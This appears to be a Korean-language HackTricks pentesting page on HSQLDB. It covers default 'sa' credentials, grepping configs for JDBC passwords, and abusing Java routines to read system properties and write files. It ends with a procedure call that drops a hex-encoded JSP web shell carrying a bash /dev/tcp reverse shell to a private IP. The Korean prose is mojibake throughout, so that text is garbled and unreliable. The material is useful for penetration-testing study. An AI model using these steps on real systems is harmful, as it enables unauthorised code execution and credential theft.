9001 - Pentesting HSQLDB
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
**HSQLDB (HyperSQL DataBase)**๋ Java๋ก ์์ฑ๋ ์ฃผ์ SQL ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ ์ ๋๋ค. ๋ฉ๋ชจ๋ฆฌ ๋ด ๋ฐ ๋์คํฌ ๊ธฐ๋ฐ ํ ์ด๋ธ์ ๊ฐ์ถ ์๊ณ ๋น ๋ฅธ ๋ค์ค ์ค๋ ๋ ๋ฐ ํธ๋์ญ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ง์ ์ ๊ณตํ๋ฉฐ, ์๋ฒ ๋๋ ๋ฐ ์๋ฒ ๋ชจ๋๋ฅผ ์ง์ํฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
๊ธฐ๋ณธ ์ค์
๊ธฐ๋ณธ์ ์ผ๋ก ์ด ์๋น์ค๋ ๋ฉ๋ชจ๋ฆฌ์์ ์คํ๋๊ฑฐ๋ localhost์ ๋ฐ์ธ๋ฉ๋์ด ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ์ด๋ฅผ ๋ฐ๊ฒฌํ๋ค๋ฉด, ์๋ง๋ ๋ค๋ฅธ ์๋น์ค๋ฅผ ์ด์ฉํด ์ทจ์ฝ์ ์ ์ด์ฉํ๊ณ ๊ถํ ์์น์ ์๋ํ๊ณ ์๋ ๊ฒ์ ๋๋ค.
๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช
์ ์ผ๋ฐ์ ์ผ๋ก sa์ ๋น ๋น๋ฐ๋ฒํธ์
๋๋ค.
๋ค๋ฅธ ์๋น์ค๋ฅผ ์ด์ฉํ๋ค๋ฉด, ๊ฐ๋ฅํ ์๊ฒฉ ์ฆ๋ช ์ ๊ฒ์ํ์ญ์์ค.
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ์ฃผ์ ๊น๊ฒ ๊ธฐ๋กํ์ธ์ - ์ฐ๊ฒฐํ๋ ๋ฐ ํ์ํฉ๋๋ค.
์ ๋ณด ์์ง
HSQLDB ๋ค์ด๋ก๋ ํ hsqldb/lib/hsqldb.jar๋ฅผ ์ถ์ถํ์ฌ DB ์ธ์คํด์ค์ ์ฐ๊ฒฐํฉ๋๋ค. java -jar hsqldb.jar๋ฅผ ์ฌ์ฉํ์ฌ GUI ์ฑ (eww)์ ์คํํ๊ณ ๋ฐ๊ฒฌ๋/์ฝํ ์๊ฒฉ ์ฆ๋ช
์ ์ฌ์ฉํ์ฌ ์ธ์คํด์ค์ ์ฐ๊ฒฐํฉ๋๋ค.
์๊ฒฉ ์์คํ
์ ๊ฒฝ์ฐ ์ฐ๊ฒฐ URL์ ๋ค์๊ณผ ๋น์ทํ๊ฒ ๋ณด์ผ ๊ฒ์
๋๋ค: jdbc:hsqldb:hsql://ip/DBNAME.
ํธ๋ฆญ
์๋ฐ ์ธ์ด ๋ฃจํด
HSQLDB์์ ์๋ฐ ์ธ์ด ๋ฃจํด์ ์ฌ์ฉํ์ฌ ์๋ฐ ํด๋์ค์ ์ ์ ๋ฉ์๋๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค. ํธ์ถ๋ ํด๋์ค๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ํด๋์ค ๊ฒฝ๋ก์ ์์ด์ผ ํฉ๋๋ค.
JRT๋ functions ๋๋ procedures์ผ ์ ์์ต๋๋ค. ํจ์๋ ์๋ฐ ๋ฉ์๋๊ฐ ํ๋ ์ด์์ SQL ํธํ ๊ธฐ๋ณธ ๋ณ์๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ SQL ๋ฌธ์ ํตํด ํธ์ถํ ์ ์์ต๋๋ค. VALUES ๋ฌธ์ ์ฌ์ฉํ์ฌ ํธ์ถ๋ฉ๋๋ค.
์ฐ๋ฆฌ๊ฐ ํธ์ถํ๋ ค๋ ์๋ฐ ๋ฉ์๋๊ฐ void๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ, CALL ๋ฌธ์ผ๋ก ํธ์ถ๋๋ ํ๋ก์์ ๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
์๋ฐ ์์คํ ์์ฑ ์ฝ๊ธฐ
ํจ์ ์์ฑ:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
ํจ์ ์คํ:
VALUES(getsystemproperty('user.name'))
๋ค์์ ์์คํ ์์ฑ ๋ชฉ๋ก์ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค.
ํ์ผ์ ๋ด์ฉ ์ฐ๊ธฐ
com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์ ์ ์ ํ๋ก์์ ๋ฅผ ํตํด 16์ง์ ์ธ์ฝ๋ฉ๋ ํญ๋ชฉ์ ๋์คํฌ์ ์ธ ์ ์์ต๋๋ค (JDK์ ์๋์ผ๋ก ๋ก๋๋จ). ์ต๋ ํฌ๊ธฐ๋ 1024 ๋ฐ์ดํธ์
๋๋ค.
ํ๋ก์์ ์์ฑ:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
ํ๋ก์์ ์คํ:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


